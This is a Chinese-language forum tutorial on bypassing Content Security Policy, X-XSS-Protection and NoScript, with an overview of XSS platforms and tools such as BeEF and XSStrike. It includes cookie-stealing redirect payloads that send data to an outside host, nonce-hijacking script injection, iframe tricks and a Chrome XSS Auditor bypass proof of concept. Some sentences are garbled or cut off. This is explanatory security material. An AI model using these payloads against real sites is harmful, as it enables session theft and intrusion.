瀏覽器為了增強(qiáng)體驗(yàn),讓瀏覽器更有效率,就有個(gè)預(yù)加載的功能,體是利瀏覽器空閑時(shí)間去加載指定的內(nèi)容,然后緩存起來(lái)。這個(gè)技術(shù)細(xì)分為DNS-prefetch、subresource、prefetch、preconnect、 prerender。HTML5??預(yù)加載是?link標(biāo)簽的rel屬性來(lái)指定的。如果csp頭有 unsafe-inline,則?預(yù)加載的?式可以向外界發(fā)出請(qǐng)求,例如

利用302重定向

利用url跳轉(zhuǎn)可以回避嚴(yán)格的CSP。

在允許unsafe-inline的情況下,可以用window.location,或者window.open之類的方法進(jìn)行跳轉(zhuǎn)繞過(guò)。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

在 default-src ‘none’ 的情況下,可以使用 meta 標(biāo)簽實(shí)現(xiàn)跳轉(zhuǎn)

 <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

標(biāo)簽配合站內(nèi)的某些可控 JS 點(diǎn)擊操作來(lái)跳轉(zhuǎn)

 <script>  $(#foo).click()</script><a id="foo" href="xxxxx.com">

利用網(wǎng)站本身的跳轉(zhuǎn)接口

http://foo.com/jmp.php?url=attack.com

利用瀏覽器補(bǔ)全

有些網(wǎng)站限制只有某些腳本才能使用,往往會(huì)使用

Content-Security-Policy: default-src ‘none’;script-src ‘nonce-abc’
那么當(dāng)腳本插入點(diǎn)為如下的情況時(shí)

<p>插入點(diǎn)</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

<script src=//14.rs a="

這樣會(huì)拼成一個(gè)新的script標(biāo)簽,其中的src可以自由設(shè)定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
MIME Sniff(利用上傳文件)

舉例來(lái)說(shuō),csp禁?跨站讀取腳本,但是可以跨站讀img,那么傳?個(gè) 含有腳本的img,再

利用iframe標(biāo)簽

1.如果頁(yè)面A中有CSP限制,但是頁(yè)面B中沒(méi)有,同時(shí)A和B同源,那么就可以在A頁(yè)面中包含B頁(yè)面來(lái)繞過(guò)CSP:

<iframe src="B"></iframe>

2.在Chrome下,iframe標(biāo)簽支持csp屬性,這有時(shí)候可以用來(lái)繞過(guò)一些防御,例如http://xxx頁(yè)面有個(gè)js庫(kù)會(huì)過(guò)濾XSS向量,我們就可以使用csp屬性來(lái)禁掉這個(gè)js庫(kù)。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

可見(jiàn)繞過(guò)CSP的姿勢(shì)其實(shí)有很多,在不同的情況下有不同的繞過(guò)方法,以上只介紹了常見(jiàn)的幾種。

X-XSS-Protection 繞過(guò)

xss-protection概念

從IE8 開(kāi)始,IE 瀏覽器內(nèi)置了一個(gè)針對(duì)XSS攻擊的防護(hù)機(jī)制,這個(gè)瀏覽器內(nèi)置的防護(hù)機(jī)制就是所謂的XSS filter,這個(gè)防護(hù)機(jī)制主要用于減輕反射型XSS 攻擊帶來(lái)的危害。

基于Webkit 內(nèi)核的瀏覽器(比如Chrome)隨后也增加一個(gè)名為XSS auditor 的防護(hù)機(jī)制,作用和IE中的XSS filter類似。這兩種XSS防護(hù)機(jī)制的目的都很簡(jiǎn)單,如果瀏覽器檢測(cè)到了含有惡意代碼的輸入被呈現(xiàn)在HTML文檔中,那么這段呈現(xiàn)的惡意代碼要么被刪除,要么被轉(zhuǎn)義,惡意代碼不會(huì)被正常的渲染出來(lái),當(dāng)然了,瀏覽器是否要攔截這段惡意代碼取決于瀏覽器的XSS防護(hù)設(shè)置。

至于怎么設(shè)置瀏覽器的XSS防護(hù)機(jī)制,其實(shí)很簡(jiǎn)單,只要在HTTP響應(yīng)報(bào)文的頭部增加一個(gè)X-XSS-Protection 字段,明確地告訴瀏覽器XSS filter/auditor該如何工作。 X-XSS-Protection 的字段有三個(gè)可選配置值

0: 表示關(guān)閉瀏覽器的XSS防護(hù)機(jī)制

1:刪除檢測(cè)到的惡意代碼, 如果響應(yīng)報(bào)文中沒(méi)有看到X-XSS-Protection 字段,那么瀏覽器就認(rèn)為X-XSS-Protection配置為1,這是瀏覽器的默認(rèn)設(shè)置

1; mode=block:如果檢測(cè)到惡意代碼,則不渲染惡意代碼

Chrome XSS Auditor - SVG Bypass

原始 PoC :

https://localhost/<svg><script>/<1/>alert(0)</script>

官方給出補(bǔ)丁中的描述對(duì)這一漏洞進(jìn)行了介紹,大意是,當(dāng)過(guò)濾器過(guò)濾 script 標(biāo)簽的內(nèi)容時(shí),第一個(gè)區(qū)塊的過(guò)濾結(jié)果將會(huì)影響后續(xù)區(qū)塊。如果第一個(gè)區(qū)塊被處理為空時(shí),過(guò)濾匹配將會(huì)失敗。

詳細(xì)參考(漏洞原理分析):soursel

關(guān)于更多的Chrome XSS Auditor bypass參考:sourse

NoScript bypass

利用白名單站點(diǎn)的Cross Site Script漏洞

在NoScript安全機(jī)制中,因?yàn)榘酌麊沃械恼军c(diǎn)是允許在瀏覽器中執(zhí)行JavaScript腳本的,只要有一個(gè)簡(jiǎn)單的XSS漏洞就可以了。雖然NoScript本身也提供了cross-sitescript過(guò)濾器,但是它并不能完全阻止XSS攻擊。

利用MITM攻擊

我們知道NoScript是通過(guò)白名單上的站點(diǎn)來(lái)確定哪些網(wǎng)站可以自由執(zhí)行腳本。也就是說(shuō),所有的安全全部依賴于白名單上網(wǎng)站的站點(diǎn)安全,以及該網(wǎng)站所在的內(nèi)網(wǎng)的安全情況。

那么,只要在內(nèi)網(wǎng)中欺騙用戶的瀏覽器,就能執(zhí)行JavaScript腳本,NoScript就能被繞過(guò)。

以上兩種方法的實(shí)例演示:http://www.mottoin.com/detail/503.html

XSS 平臺(tái)和工具

XSS平臺(tái)
xss平臺(tái)是對(duì)xss漏洞進(jìn)行利用的程序,網(wǎng)上有許多類似的開(kāi)放平臺(tái),但是想要好的體驗(yàn)就得自己搭建一個(gè)。以下是搭建XSS平臺(tái)的參考鏈接:

Xss平臺(tái)源碼——來(lái)自論壇

https://github.com/trysec/BlueLotus_XSSReceiver——github

BeEF-XSS

BeEF是一款專注于Web瀏覽器的滲透測(cè)試工具,它內(nèi)置有許多的payload,其中的XSS模塊功能十分強(qiáng)大。

XSStrike

XSStrike是一個(gè)xss檢測(cè)工具,配備了四個(gè)手工編寫(xiě)的解析器、一個(gè)智能的payload生成器、一個(gè)強(qiáng)大的fuzzing引擎和一個(gè)速度很快的爬蟲(chóng)。XSStrike不像其他工具那樣注入payload并檢查它的工作,而是使用多個(gè)解析器分析響應(yīng),然后通過(guò)與fuzzing引擎集成的上下文分析來(lái)保證有效載荷的工作。

除此之外,XSStrike還具有網(wǎng)頁(yè)爬蟲(chóng)、fuzzing、參數(shù)發(fā)現(xiàn)和WAF檢測(cè)功能。同時(shí)能夠掃描DOM XSS漏洞。



請(qǐng)登錄后查看

CRMEB-慕白寒窗雪 最后編輯于2023-04-25 18:23:04

快捷回復(fù)
回復(fù)
回復(fù)
回復(fù)({{post_count}}) {{!is_user ? '我的回復(fù)' :'全部回復(fù)'}}
排序 默認(rèn)正序 回復(fù)倒序 點(diǎn)贊倒序

{{item.user_info.nickname ? item.user_info.nickname : item.user_name}} LV.{{ item.user_info.bbs_level || item.bbs_level }}

作者 管理員 企業(yè)

{{item.floor}}# 同步到gitee 已同步到gitee {{item.is_suggest == 1? '取消推薦': '推薦'}}
{{item.is_suggest == 1? '取消推薦': '推薦'}}
沙發(fā) 板凳 地板 {{item.floor}}#
{{item.user_info.title || '暫無(wú)簡(jiǎn)介'}}
附件

{{itemf.name}}

{{item.created_at}}  {{item.ip_address}}
打賞
已打賞¥{{item.reward_price}}
{{item.like_count}}
{{item.showReply ? '取消回復(fù)' : '回復(fù)'}}
刪除
回復(fù)
回復(fù)

{{itemc.user_info.nickname}}

{{itemc.user_name}}

回復(fù) {{itemc.comment_user_info.nickname}}

附件

{{itemf.name}}

{{itemc.created_at}}
打賞
已打賞¥{{itemc.reward_price}}
{{itemc.like_count}}
{{itemc.showReply ? '取消回復(fù)' : '回復(fù)'}}
刪除
回復(fù)
回復(fù)
查看更多
打賞
已打賞¥{{reward_price}}
2094
{{like_count}}
{{collect_count}}
添加回復(fù) ({{post_count}})

相關(guān)推薦

快速安全登錄

使用微信掃碼登錄
{{item.label}} 加精
{{item.label}} {{item.label}} 板塊推薦 常見(jiàn)問(wèn)題 產(chǎn)品動(dòng)態(tài) 精選推薦 首頁(yè)頭條 首頁(yè)動(dòng)態(tài) 首頁(yè)推薦
取 消 確 定
回復(fù)
回復(fù)
問(wèn)題:
問(wèn)題自動(dòng)獲取的帖子內(nèi)容,不準(zhǔn)確時(shí)需要手動(dòng)修改. [獲取答案]
答案:
提交
bug 需求 取 消 確 定
打賞金額
當(dāng)前余額:¥{{rewardUserInfo.reward_price}}
{{item.price}}元
請(qǐng)輸入 0.1-{{reward_max_price}} 范圍內(nèi)的數(shù)值
打賞成功
¥{{price}}
完成 確認(rèn)打賞

微信登錄/注冊(cè)

切換手機(jī)號(hào)登錄

{{ bind_phone ? '綁定手機(jī)' : '手機(jī)登錄'}}

{{codeText}}
切換微信登錄/注冊(cè)
暫不綁定
CRMEB客服

CRMEB咨詢熱線 咨詢熱線

400-8888-794

微信掃碼咨詢

CRMEB開(kāi)源商城下載 源碼下載 CRMEB幫助文檔 幫助文檔
返回頂部 返回頂部
CRMEB客服